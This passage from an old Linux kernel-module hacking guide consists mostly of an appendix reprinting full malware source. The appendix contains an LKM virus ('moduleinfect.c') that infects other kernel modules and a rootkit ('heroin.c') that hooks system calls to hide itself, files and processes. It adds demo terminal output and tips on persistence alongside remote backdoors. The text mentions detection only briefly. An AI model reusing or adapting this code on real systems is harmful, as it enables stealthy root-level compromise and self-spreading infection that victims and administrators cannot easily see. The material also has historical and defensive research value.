  4022. plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, Aleph1,
  4023. Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio Cesare,
  4024. daemon9, Nergal, van Hauser (especially for showing me some bugs) and those
  4025. nameless individuals providing us with their ideas (there are so many) !
  4026. <H3><A NAME="Greets"></A>Greets </h3>
  4027. <u>groups</u> : THC, deep, ech0, ADM, =phake=<br>
  4028. <p>
  4029. <u>personal</u> :
  4030. <dd>van Hauser - thanks for giving me the chance to learn </dd>
  4031. <dd>mindmaniac - thanks for introducing 'the first contact'</dd>
  4032. <p>
  4033. <p>
  4034. background music groups (helping me to concentrate on writing :):<br>
  4035. <i>Neuroactive, Image Transmission, Panic on the Titanic, Dracul</i>
  4036. <P><P><P><P>
  4037. <HR SIZE="3" NOSHADE="NOSHADE">
  4038. <P>
  4039. <HR SIZE="3" NOSHADE="NOSHADE">
  4040. <P><P><P><P>
  4041. <u><b>
  4042. <H2>A - Appendix</h2>
  4043. </u></b>
  4044. <P><P>
  4045. Here you will find some sources.If the author of the LKM also published some
  4046. notes / texts which are interesting, they will also be printed.<br>
  4047. <H3><A NAME="A-a"></A>LKM Infector</h3>
  4048. <b>NAME</b> : moduleinfect.c<br>
  4049. <b>AUTHOR</b> : <A HREF="mailto:stealth@cyberspace.org">Stealthf0rk/SVAT <stealth@cyberspace.org></a><br>
  4050. <b>DESCRIPTION</b> : This is the first published LKM infector which was discussed
  4051. II.8. This LKM has no destruction routine, it's just an
  4052. infector, so experimenting should be quite harmless.<br>
  4053. <b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
  4054. <xmp>
  4055. /* SVAT - Special Virii And Trojans - present:
  4056. *
  4057. * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
  4058. *
  4059. * 0kay guys, here we go...
  4060. * As i told you with VLP I (we try to write an fast-infector)
  4061. * here's the result:
  4062. * a full, non-overwriting module infector that catches
  4063. * lkm's due to create_module() and infects them (max. 7)
  4064. * if someone calls delete_module() [even on autoclean].
  4065. * Linux is not longer a virii-secure system :(
  4066. * and BSD follows next week ...
  4067. * Since it is not needed 2 get root (by the module) you should pay
  4068. * attention on liane.
  4069. * Note the asm code in function init_module().
  4070. * U should assemble your /usr/src/.../module.c with -S and your CFLAG
  4071. * from your Makefile and look for the returnvalue from the first call
  4072. * of find_module() in sys_init_module(). look where its stored (%ebp for me)
  4073. * and change it in __asm__ init_module()! (but may it is not needed)
  4074. *
  4075. * For education only!
  4076. * Run it only with permisson of the owner of the system you are logged on!!!
  4077. *
  4078. * !!! YOU USE THIS AT YOUR OWN RISK !!!
  4079. *
  4080. * I'm not responsible for any damage you may get due to playing around with this.
  4081. *
  4082. * okay guys, you have to find out some steps without my help:
  4083. *
  4084. * 1. $ cc -c -O2 module.c
  4085. * 2. get length of module.o and patch the #define MODLEN in module.c
  4086. * 3. $ ???
  4087. * 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
  4088. * 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
  4089. * >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<
  4090. * 6. $ insmod ???
  4091. *
  4092. * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
  4093. * kernel 2.0.33. It works.
  4094. *
  4095. * greets (in no order...)
  4096. * <><><><><><><><><><><><>
  4097. *
  4098. * NetW0rker - tkx for da sources
  4099. * Serialkiller - gib mir mal deine eMail-addy
  4100. * hyperSlash - 1st SVAT member, he ?
  4101. * naleZ - hehehe
  4102. * MadMan - NetW0rker wanted me to greet u !?
  4103. * KilJaeden - TurboDebugger and SoftIce are a good choice !
  4104. *
  4105. * and all de otherz
  4106. *
  4107. * Stealthf0rk/SVAT <stealth@cyberspace.org>
  4108. */
  4109. #define __KERNEL__
  4110. #define MODULE
  4111. #define MODLEN 7104
  4112. #define ENOUGH 7
  4113. #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
  4114. #define END_KMEM set_fs(old_fs);}
  4115. /* i'm not sure we need all of 'em ...*/
  4116. #include <linux/version.h>
  4117. #include <linux/mm.h>
  4118. #include <linux/unistd.h>
  4119. #include <linux/fs.h>
  4120. #include <linux/types.h>
  4121. #include <asm/errno.h>
  4122. #include <asm/string.h>
  4123. #include <linux/fcntl.h>
  4124. #include <sys/syscall.h>
  4125. #include <linux/module.h>
  4126. #include <linux/malloc.h>
  4127. #include <linux/kernel.h>
  4128. #include <linux/kerneld.h>
  4129. #define __NR_our_syscall 211
  4130. #define MAXPATH 30
  4131. /*#define DEBUG*/
  4132. #ifdef DEBUG
  4133. #define DPRINTK(format, args...) printk(KERN_INFO format,##args)
  4134. #else
  4135. #define DPRINTK(format, args...)
  4136. #endif
  4137. /* where the sys_calls are */
  4138. extern void *sys_call_table[];
  4139. /* tested only with kernel 2.0.33, but thiz should run under 2.x.x
  4140. * if you change the default_path[] values
  4141. */
  4142. static char *default_path[] = {
  4143. ".", "/linux/modules",
  4144. "/lib/modules/2.0.33/fs",
  4145. "/lib/modules/2.0.33/net",
  4146. "/lib/modules/2.0.33/scsi",
  4147. "/lib/modules/2.0.33/block",
  4148. "/lib/modules/2.0.33/cdrom",
  4149. "/lib/modules/2.0.33/ipv4",
  4150. "/lib/modules/2.0.33/misc",
  4151. "/lib/modules/default/fs",
  4152. "/lib/modules/default/net",
  4153. "/lib/modules/default/scsi",
  4154. "/lib/modules/default/block",
  4155. "/lib/modules/default/cdrom",
  4156. "/lib/modules/default/ipv4",
  4157. "/lib/modules/default/misc",
  4158. "/lib/modules/fs",
  4159. "/lib/modules/net",
  4160. "/lib/modules/scsi",
  4161. "/lib/modules/block",
  4162. "/lib/modules/cdrom",
  4163. "/lib/modules/ipv4",
  4164. "/lib/modules/misc",
  4165. 0
  4166. };
  4167. static struct symbol_table my_symtab = {
  4168. #include <linux/symtab_begin.h>
  4169. X(printk),
  4170. X(vmalloc),
  4171. X(vfree),
  4172. X(kerneld_send),
  4173. X(current_set),
  4174. X(sys_call_table),
  4175. X(register_symtab_from),
  4176. #include <linux/symtab_end.h>
  4177. };
  4178. char files2infect[7][60 + 2];
  4179. /* const char kernel_version[] = UTS_RELEASE; */
  4180. int (*old_create_module)(char*, int);
  4181. int (*old_delete_module)(char *);
  4182. int (*open)(char *, int, int);
  4183. int (*close)(int);
  4184. int (*unlink)(char*);
  4185. int our_syscall(int);
  4186. int infectfile(char *);
  4187. int is_infected(char *);
  4188. int cp(struct file*, struct file*);
  4189. int writeVir(char *, char *);
  4190. int init_module2(struct module*);
  4191. char *get_mod_name(char*);
  4192. /* needed to be global */
  4193. void *VirCode = NULL;
  4194. /* install new syscall to see if we are already in kmem */
  4195. int our_syscall(int mn)
  4196. {
  4197. /* magic number: 40hex :-) */
  4198. if (mn == 0x40)
  4199. return 0;
  4200. else
  4201. return -ENOSYS;
  4202. }
  4203. int new_create_module(char *name, int size)
  4204. {
  4205. int i = 0, j = 0, retval = 0;
  4206. if ((retval = old_create_module(name, size)) < 0)
  4207. return retval;
  4208. /* find next free place */
  4209. for (i = 0; files2infect[i][0] && i < 7; i++);
  4210. if (i == 6)
  4211. return retval;
  4212. /* get name of mod from user-space */
  4213. while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
  4214. j++;
  4215. DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
  4216. return retval;
  4217. }
  4218. /* we infect modules after sys_delete_module, to be sure
  4219. * we don't confuse the kernel
  4220. */
  4221. int new_delete_module(char *modname)
  4222. {
  4223. static int infected = 0;
  4224. int retval = 0, i = 0;
  4225. char *s = NULL, *name = NULL;
  4226. retval = old_delete_module(modname);
  4227. if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
  4228. return retval;
  4229. for (i = 0; files2infect[i][0] && i < 7; i++) {
  4230. strcat(files2infect[i], ".o");
  4231. if ((s = get_mod_name(files2infect[i])) == NULL) {
  4232. return retval;
  4233. }
  4234. name = strcpy(name, s);
  4235. if (!is_infected(name)) {
  4236. DPRINTK("try 2 infect %s as #%d\n", name, i);
  4237. infected++;
  4238. infectfile(name);
  4239. }
  4240. memset(files2infect[i], 0, 60 + 2);
  4241. } /* for */
  4242. /* its enough */
  4243. if (infected >= ENOUGH)
  4244. cleanup_module();
  4245. vfree(name);
  4246. return retval;
  4247. }
  4248. /* lets take a look at sys_init_module(), that calls
  4249. * our init_module() compiled with
  4250. * CFLAG = ... -O2 -fomit-frame-pointer
  4251. * in C:
  4252. * ...
  4253. * if((mp = find_module(name)) == NULL)
  4254. * ...
  4255. *
  4256. * is in asm:
  4257. * ...
  4258. * call find_module
  4259. * movl %eax, %ebp
  4260. * ...
  4261. * note that there is no normal stack frame !!!
  4262. * thats the reason, why we find 'mp' (return from find_module) in %ebp
  4263. * BUT only when compiled with the fomit-frame-pointer option !!!
  4264. * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
  4265. * you should find mp at -4(%ebp) .
  4266. * thiz is very bad hijacking of local vars and an own topic.
  4267. * I hope you do not get an seg. fault.
  4268. */
  4269. __asm__
  4270. ("
  4271. .align 16
  4272. .globl init_module
  4273. .type init_module,@function
  4274. init_module:
  4275. pushl %ebp /* ebp is a pointer to mp from sys_init_module() */
  4276. /* and the parameter for init_module2() */
  4277. call init_module2
  4278. popl %eax
  4279. xorl %eax, %eax /* all good */
  4280. ret /* and return */
  4281. .hype27:
  4282. .size init_module,.hype27-init_module
  4283. ");
  4284. /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
  4285. *
  4286. * pushl %ebx
  4287. * movl %ebp, %ebx
  4288. * pushl -4(%ebx)
  4289. * call init_module2
  4290. * addl $4, %esp
  4291. * xorl %eax, %eax
  4292. * popl %ebx
  4293. * ret
  4294. */
  4295. /*----------------------------------------------*/
  4296. int init_module2(struct module *mp)
  4297. {
  4298. char *s = NULL, *mod = NULL, *modname = NULL;
  4299. long state = 0;
  4300. mod = vmalloc(60 + 2);
  4301. modname = vmalloc(MAXPATH + 60 + 2);
  4302. if (!mod || !modname)
  4303. return -1;
  4304. strcpy(mod, mp->name);
  4305. strcat(mod, ".o");
  4306. MOD_INC_USE_COUNT;
  4307. DPRINTK("in init_module2: mod = %s\n", mod);
  4308. /* take also a look at phrack#52 ...*/
  4309. mp->name = "";
  4310. mp->ref = 0;
  4311. mp->size = 0;
  4312. /* thiz is our new main ,look for copys in kmem ! */
  4313. if (sys_call_table[__NR_our_syscall] == 0) {
  4314. old_delete_module = sys_call_table[__NR_delete_module];
  4315. old_create_module = sys_call_table[__NR_create_module];
  4316. sys_call_table[__NR_our_syscall] = (void*)our_syscall;
  4317. sys_call_table[__NR_delete_module] = (void*)new_delete_module;
  4318. sys_call_table[__NR_create_module] = (void*)new_create_module;
  4319. memset(files2infect, 0, (60 + 2)*7);
  4320. register_symtab(&my_symtab);
  4321. }
  4322. open = sys_call_table[__NR_open];
  4323. close = sys_call_table[__NR_close];
  4324. unlink = sys_call_table[__NR_unlink];
  4325. if ((s = get_mod_name(mod)) == NULL)
  4326. return -1;
  4327. modname = strcpy(modname, s);
  4328. load_real_mod(modname, mod);
  4329. vfree(mod);
  4330. vfree(modname);
  4331. return 0;
  4332. }
  4333. int cleanup_module()
  4334. {
  4335. sys_call_table[__NR_delete_module] = old_delete_module;
  4336. sys_call_table[__NR_create_module] = old_create_module;
  4337. sys_call_table[__NR_our_syscall] = NULL;
  4338. DPRINTK("in cleanup_module\n");
  4339. vfree(VirCode);
  4340. return 0;
  4341. }
  4342. /* returns 1 if infected;
  4343. * seek at position MODLEN + 1 and read out 3 bytes,
  4344. * if it is "ELF" it seems the file is already infected
  4345. */
  4346. int is_infected(char *filename)
  4347. {
  4348. char det[4] = {0};
  4349. int fd = 0;
  4350. struct file *file;
  4351. DPRINTK("in is_infected: filename = %s\n", filename);
  4352. BEGIN_KMEM
  4353. fd = open(filename, O_RDONLY, 0);
  4354. END_KMEM
  4355. if (fd <= 0)
  4356. return -1;
  4357. if ((file = current->files->fd[fd]) == NULL)
  4358. return -2;
  4359. file->f_pos = MODLEN + 1;
  4360. DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
  4361. BEGIN_KMEM
  4362. file->f_op->read(file->f_inode, file, det, 3);
  4363. close(fd);
  4364. END_KMEM
  4365. DPRINTK("in is_infected: det = %s\n", det);
  4366. if (strcmp(det, "ELF") == 0)
  4367. return 1;
  4368. else
  4369. return 0;
  4370. }
  4371. /* copy the host-module to tmp, write VirCode to
  4372. * hostmodule, and append tmp.
  4373. * then delete tmp.
  4374. */
  4375. int infectfile(char *filename)
  4376. {
  4377. char *tmp = "/tmp/t000";
  4378. int in = 0, out = 0;
  4379. struct file *file1, *file2;
  4380. BEGIN_KMEM
  4381. in = open(filename, O_RDONLY, 0640);
  4382. out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
  4383. END_KMEM
  4384. DPRINTK("in infectfile: in = %d out = %d\n", in, out);
  4385. if (in <= 0 || out <= 0)
  4386. return -1;
  4387. file1 = current->files->fd[in];
  4388. file2 = current->files->fd[out];
  4389. if (!file1 || !file2)
  4390. return -1;
  4391. /* save hostcode */
  4392. cp(file1, file2);
  4393. BEGIN_KMEM
  4394. file1->f_pos = 0;
  4395. file2->f_pos = 0;
  4396. /* write Vircode [from mem] */
  4397. DPRINTK("in infetcfile: filenanme = %s\n", filename);
  4398. file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
  4399. /* append hostcode */
  4400. cp(file2, file1);
  4401. close(in);
  4402. close(out);
  4403. unlink(tmp);
  4404. END_KMEM
  4405. return 0;
  4406. }
  4407. int disinfect(char *filename)
  4408. {
  4409. char *tmp = "/tmp/t000";
  4410. int in = 0, out = 0;
  4411. struct file *file1, *file2;
  4412. BEGIN_KMEM
  4413. in = open(filename, O_RDONLY, 0640);
  4414. out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
  4415. END_KMEM
  4416. DPRINTK("in disinfect: in = %d out = %d\n",in, out);
  4417. if (in <= 0 || out <= 0)
  4418. return -1;
  4419. file1 = current->files->fd[in];
  4420. file2 = current->files->fd[out];
  4421. if (!file1 || !file2)
  4422. return -1;
  4423. /* save hostcode */
  4424. cp(file1, file2);
  4425. BEGIN_KMEM
  4426. close(in);
  4427. DPRINTK("in disinfect: filename = %s\n", filename);
  4428. unlink(filename);
  4429. in = open(filename, O_RDWR|O_CREAT, 0640);
  4430. END_KMEM
  4431. if (in <= 0)
  4432. return -1;
  4433. file1 = current->files->fd[in];
  4434. if (!file1)
  4435. return -1;
  4436. file2->f_pos = MODLEN;
  4437. cp(file2, file1);
  4438. BEGIN_KMEM
  4439. close(in);
  4440. close(out);
  4441. unlink(tmp);
  4442. END_KMEM
  4443. return 0;
  4444. }
  4445. /* a simple copy routine, that expects the file struct pointer
  4446. * of the files to be copied.
  4447. * So its possible to append files due to copieng.
  4448. */
  4449. int cp(struct file *file1, struct file *file2)
  4450. {
  4451. int in = 0, out = 0, r = 0;
  4452. char *buf;
  4453. if ((buf = (char*)vmalloc(10000)) == NULL)
  4454. return -1;
  4455. DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
  4456. BEGIN_KMEM
  4457. while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
  4458. file2->f_op->write(file2->f_inode, file2, buf, r);
  4459. file2->f_inode->i_mode = file1->f_inode->i_mode;
  4460. file2->f_inode->i_atime = file1->f_inode->i_atime;
  4461. file2->f_inode->i_mtime = file1->f_inode->i_mtime;
  4462. file2->f_inode->i_ctime = file1->f_inode->i_ctime;
  4463. END_KMEM
  4464. vfree(buf);
  4465. return 0;
  4466. }
  4467. /* Is that simple: we disinfect the module [hide 'n seek]
  4468. * and send a request to kerneld to load
  4469. * the orig mod. N0 fuckin' parsing for symbols and headers
  4470. * is needed - cool.
  4471. */
  4472. int load_real_mod(char *path_name, char *name)
  4473. {
  4474. int r = 0, i = 0;
  4475. struct file *file1, *file2;
  4476. int in = 0, out = 0;
  4477. DPRINTK("in load_real_mod name = %s\n", path_name);
  4478. if (VirCode)
  4479. vfree(VirCode);
  4480. VirCode = vmalloc(MODLEN);
  4481. if (!VirCode)
  4482. return -1;
  4483. BEGIN_KMEM
  4484. in = open(path_name, O_RDONLY, 0640);
  4485. END_KMEM
  4486. if (in <= 0)
  4487. return -1;
  4488. file1 = current->files->fd[in];
  4489. if (!file1)
  4490. return -1;
  4491. /* read Vircode [into mem] */
  4492. BEGIN_KMEM
  4493. file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
  4494. close(in);
  4495. END_KMEM
  4496. disinfect(path_name);
  4497. r = request_module(name);
  4498. DPRINTK("in load_real_mod: request_module = %d\n", r);
  4499. return 0;
  4500. }
  4501. char *get_mod_name(char *mod)
  4502. {
  4503. int fd = 0, i = 0;
  4504. static char* modname = NULL;
  4505. if (!modname)
  4506. modname = vmalloc(MAXPATH + 60 + 2);
  4507. if (!modname)
  4508. return NULL;
  4509. BEGIN_KMEM
  4510. for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) {
  4511. memset(modname, 0, MAXPATH + 60 + 2);
  4512. modname = strcpy(modname, default_path[i]);
  4513. modname = strcat(modname, "/");
  4514. modname = strcat(modname, mod);
  4515. if ((fd = open(modname, O_RDONLY, 0640)) > 0)
  4516. break;
  4517. }
  4518. close(fd);
  4519. END_KMEM
  4520. if (!default_path[i])
  4521. return NULL;
  4522. return modname;
  4523. }
  4524. </xmp>
  4525. <H3><A NAME="A-b"></A>Herion - the classic one</h3>
  4526. <b>NAME</b> : Heroin<br>
  4527. <b>AUTHOR</b> : <A HREF="mailto:zarq@opaque.org">Runar Jensen</a><br>
  4528. <b>DESCRIPTION</b> : Runar Jensen introduced some nice ideas in his text, which
  4529. were the first steps towards our modern Hide LKM by plaguez.
  4530. The way Runar Jensen hides the module requires more coder work
  4531. than the plaguez (Solar Designer and other people) approach,
  4532. but it works. The way Runar Jensen hides processes is also a
  4533. bit too complicated (well this text is quite old, and it was
  4534. one of the first talking about LKM hacking), He uses a special
  4535. signal code (31) in order to set a flag in a process structure
  4536. which indicates that this process is going to be hidden, in
  4537. the way we discussed in part II. <br>
  4538. The rest should be clear. <br>
  4539. <b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
  4540. <xmp>
  4541. As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
  4542. to patch any systemcall under Linux from within a module. This means that
  4543. once your system has been compromised at the root level, it is possible for
  4544. an intruder to hide completely _without_ modifying any binaries or leaving
  4545. any visible backdoors behind. Because such tools are likely to be in use
  4546. within the hacker community already, I decided to publish a piece of code to
  4547. demonstrate the potentials of a malicious module.
  4548. The following piece of code is a fully working Linux module for 2.1 kernels
  4549. that patches the getdents(), kill(), read() and query_module() calls. Once
  4550. loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
  4551. modifying the output of every query_module() call and every read() call
  4552. accessing /proc/modules. Apparently rmmod also calls query_module() to list
  4553. all modules before attempting to remove the specified module, and will
  4554. therefore claim that the module does not exist even if you know its name. The
  4555. output of any getdents() call is modified to hide any files or directories
  4556. starting with a given string, leaving them accessible only if you know their
  4557. exact names. It also hides any directories in /proc matching pids that have a
  4558. specified flag set in its internal task structure, allowing a user with root
  4559. access to hide any process (and its children, since the task structure is
  4560. duplicated when the process does a fork()). To set this flag, simply send the
  4561. process a signal 31 which is caught and handled by the patched kill() call.
  4562. To demonstrate the effects...
  4563. [root@image:~/test]# ls -l
  4564. total 3
  4565. -rw------- 1 root root 2832 Oct 8 16:52 heroin.o
  4566. [root@image:~/test]# insmod heroin.o
  4567. [root@image:~/test]# lsmod | grep heroin
  4568. [root@image:~/test]# grep heroin /proc/modules
  4569. [root@image:~/test]# rmmod heroin
  4570. rmmod: module heroin not loaded
  4571. [root@image:~/test]# ls -l
  4572. total 0
  4573. [root@image:~/test]# echo "I'm invisible" > heroin_test
  4574. [root@image:~/test]# ls -l
  4575. total 0
  4576. [root@image:~/test]# cat heroin_test
  4577. I'm invisible
  4578. [root@image:~/test]# ps -aux | grep gpm
  4579. root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
  4580. [root@image:~/test]# kill -31 223
  4581. [root@image:~/test]# ps -aux | grep gpm
  4582. [root@image:~/test]# ps -aux 223
  4583. USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
  4584. root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
  4585. [root@image:~/test]# ls -l /proc | grep 223
  4586. [root@image:~/test]# ls -l /proc/223
  4587. total 0
  4588. -r--r--r-- 1 root root 0 Oct 8 16:53 cmdline
  4589. lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run
  4590. -r-------- 1 root root 0 Oct 8 16:54 environ
  4591. lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm
  4592. dr-x------ 1 root root 0 Oct 8 16:54 fd
  4593. pr--r--r-- 1 root root 0 Oct 8 16:54 maps
  4594. -rw------- 1 root root 0 Oct 8 16:54 mem
  4595. lrwx------ 1 root root 0 Oct 8 16:54 root -> /
  4596. -r--r--r-- 1 root root 0 Oct 8 16:53 stat
  4597. -r--r--r-- 1 root root 0 Oct 8 16:54 statm
  4598. -r--r--r-- 1 root root 0 Oct 8 16:54 status
  4599. [root@image:~/test]#
  4600. The implications should be obvious. Once a compromise has taken place,
  4601. nothing can be trusted, the operating system included. A module such as this
  4602. could be placed in /lib/modules/<kernel_ver>/default to force it to be loaded
  4603. after every reboot, or put in place of a commonly used module and in turn
  4604. have it load the required module for an added level of protection. (Thanks
  4605. Sean :) Combined with a reasonably obscure remote backdoor it could remain
  4606. undetected for long periods of time unless the system administrator knows
  4607. what to look for. It could even hide the packets going to and from this
  4608. backdoor from the kernel itself to prevent a local packet sniffer from seeing
  4609. them.
  4610. So how can it be detected? In this case, since the number of processes is
  4611. limited, one could try to open every possible process directory in /proc and
  4612. look for the ones that do not show up otherwise. Using readdir() instead of
  4613. getdents() will not work, since it appears to be just a wrapper for
  4614. getdents(). In short, trying to locate something like this without knowing
  4615. exactly what to look for is rather futile if done in userspace...
  4616. Be afraid. Be very afraid. ;)
  4617. .../ru
  4618. -----
  4619. /*
  4620. * heroin.c
  4621. *
  4622. * Runar Jensen <zarq@opaque.org>
  4623. *
  4624. * This Linux kernel module patches the getdents(), kill(), read()
  4625. * and query_module() system calls to demonstrate the potential
  4626. * dangers of the way modules have full access to the entire kernel.
  4627. *
  4628. * Once loaded, the module becomes invisible and can not be removed
  4629. * with rmmod. Any files or directories starting with the string
  4630. * defined by MAGIC_PREFIX appear to disappear, and sending a signal
  4631. * 31 to any process as root effectively hides it and all its future
  4632. * children.
  4633. *
  4634. * This code should compile cleanly and work with most (if not all)
  4635. * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57.
  4636. * It will not compile as is under 2.0.30, since 2.0.30 lacks the
  4637. * query_module() function.
  4638. *
  4639. * Compile with:
  4640. * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
  4641. */
  4642. #include <linux/fs.h>
  4643. #include <linux/module.h>
  4644. #include <linux/modversions.h>
  4645. #include <linux/malloc.h>
  4646. #include <linux/unistd.h>
  4647. #include <sys/syscall.h>
  4648. #include <linux/dirent.h>
  4649. #include <linux/proc_fs.h>
  4650. #include <stdlib.h>
  4651. #define MAGIC_PREFIX "heroin"
  4652. #define PF_INVISIBLE 0x10000000
  4653. #define SIGINVISI 31
  4654. int errno;
  4655. static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
  4656. static inline _syscall2(int, kill, pid_t, pid, int, sig);
  4657. static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
  4658. static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);
  4659. extern void *sys_call_table[];
  4660. int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
  4661. int (*original_kill)(pid_t, int);
  4662. int (*original_read)(int, void *, size_t);
  4663. int (*original_query_module)(const char *, int, void *, size_t, size_t *);
  4664. int myatoi(char *str)
  4665. {
  4666. int res = 0;
  4667. int mul = 1;
  4668. char *ptr;
  4669. for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  4670. if(*ptr < '0' || *ptr > '9')
  4671. return(-1);
  4672. res += (*ptr - '0') * mul;
  4673. mul *= 10;
  4674. }
  4675. return(res);
  4676. }
  4677. void mybcopy(char *src, char *dst, unsigned int num)
  4678. {
  4679. while(num--)
  4680. *(dst++) = *(src++);
  4681. }
  4682. int mystrcmp(char *str1, char *str2)
  4683. {
  4684. while(*str1 && *str2)
  4685. if(*(str1++) != *(str2++))
  4686. return(-1);
  4687. return(0);
  4688. }
  4689. struct task_struct *find_task(pid_t pid)
  4690. {
  4691. struct task_struct *task = current;
  4692. do {
  4693. if(task->pid == pid)
  4694. return(task);
  4695. task = task->next_task;
  4696. } while(task != current);
  4697. return(NULL);
  4698. }
  4699. int is_invisible(pid_t pid)
  4700. {
  4701. struct task_struct *task;
  4702. if((task = find_task(pid)) == NULL)
  4703. return(0);
  4704. if(task->flags & PF_INVISIBLE)
  4705. return(1);
  4706. return(0);
  4707. }
  4708. int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
  4709. {
  4710. int res;
  4711. int proc = 0;
  4712. struct inode *dinode;
  4713. char *ptr = (char *)dirp;
  4714. struct dirent *curr;
  4715. struct dirent *prev = NULL;
  4716. res = (*original_getdents)(fd, dirp, count);
  4717. if(!res)
  4718. return(res);
  4719. if(res == -1)
  4720. return(-errno);
  4721. #ifdef __LINUX_DCACHE_H
  4722. dinode = current->files->fd[fd]->f_dentry->d_inode;
  4723. #else
  4724. dinode = current->files->fd[fd]->f_inode;
  4725. #endif
  4726. if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  4727. proc = 1;
  4728. while(ptr < (char *)dirp + res) {
  4729. curr = (struct dirent *)ptr;
  4730. if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
  4731. (proc && is_invisible(myatoi(curr->d_name)))) {
  4732. if(curr == dirp) {
  4733. res -= curr->d_reclen;
  4734. mybcopy(ptr + curr->d_reclen, ptr, res);
  4735. continue;
  4736. }
  4737. else
  4738. prev->d_reclen += curr->d_reclen;
  4739. }
  4740. else
  4741. prev = curr;
  4742. ptr += curr->d_reclen;
  4743. }
  4744. return(res);
  4745. }
  4746. int hacked_kill(pid_t pid, int sig)
  4747. {
  4748. int res;
  4749. struct task_struct *task = current;
  4750. if(sig != SIGINVISI) {
  4751. res = (*original_kill)(pid, sig);
  4752. if(res == -1)
  4753. return(-errno);
  4754. return(res);
  4755. }
  4756. if((task = find_task(pid)) == NULL)
  4757. return(-ESRCH);
  4758. if(current->uid && current->euid)
  4759. return(-EPERM);
  4760. task->flags |= PF_INVISIBLE;
  4761. return(0);
  4762. }
  4763. int hacked_read(int fd, char *buf, size_t count)
  4764. {
  4765. int res;
  4766. char *ptr, *match;
  4767. struct inode *dinode;
  4768. res = (*original_read)(fd, buf, count);
  4769. if(res == -1)
  4770. return(-errno);
  4771. #ifdef __LINUX_DCACHE_H
  4772. dinode = current->files->fd[fd]->f_dentry->d_inode;
  4773. #else
  4774. dinode = current->files->fd[fd]->f_inode;
  4775. #endif
  4776. if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
  4777. return(res);
  4778. ptr = buf;
  4779. while(ptr < buf + res) {
  4780. if(!mystrcmp(MAGIC_PREFIX, ptr)) {
  4781. match = ptr;
  4782. while(*ptr && *ptr != '\n')
  4783. ptr++;
  4784. ptr++;
  4785. mybcopy(ptr, match, (buf + res) - ptr);
  4786. res = res - (ptr - match);
  4787. return(res);
  4788. }
  4789. while(*ptr && *ptr != '\n')
  4790. ptr++;
  4791. ptr++;
  4792. }
  4793. return(res);
  4794. }
  4795. int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
  4796. {
  4797. int res;
  4798. int cnt;
  4799. char *ptr, *match;
  4800. res = (*original_query_module)(name, which, buf, bufsize, ret);
  4801. if(res == -1)
  4802. return(-errno);
  4803. if(which != QM_MODULES)
  4804. return(res);
  4805. ptr = buf;
  4806. for(cnt = 0; cnt < *ret; cnt++) {
  4807. if(!mystrcmp(MAGIC_PREFIX, ptr)) {
  4808. match = ptr;
  4809. while(*ptr)
  4810. ptr++;
  4811. ptr++;
  4812. mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
  4813. (*ret)--;
  4814. return(res);
  4815. }
  4816. while(*ptr)
  4817. ptr++;
  4818. ptr++;
  4819. }
  4820. return(res);
  4821. }
  4822. int init_module(void)
  4823. {
  4824. original_getdents = sys_call_table[SYS_getdents];
  4825. sys_call_table[SYS_getdents] = hacked_getdents;
  4826. original_kill = sys_call_table[SYS_kill];
  4827. sys_call_table[SYS_kill] = hacked_kill;
  4828. original_read = sys_call_table[SYS_read];
  4829. sys_call_table[SYS_read] = hacked_read;
  4830. original_query_module = sys_call_table[SYS_query_module];
  4831. sys_call_table[SYS_query_module] = hacked_query_module;
  4832. return(0);
  4833. }
  4834. void cleanup_module(void)
  4835. {
  4836. sys_call_table[SYS_getdents] = original_getdents;
  4837. sys_call_table[SYS_kill] = original_kill;
  4838. sys_call_table[SYS_read] = original_read;
  4839. sys_call_table[SYS_query_module] = original_query_module;
  4840. }
  4841. -----
  4842. -----
  4843. Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com
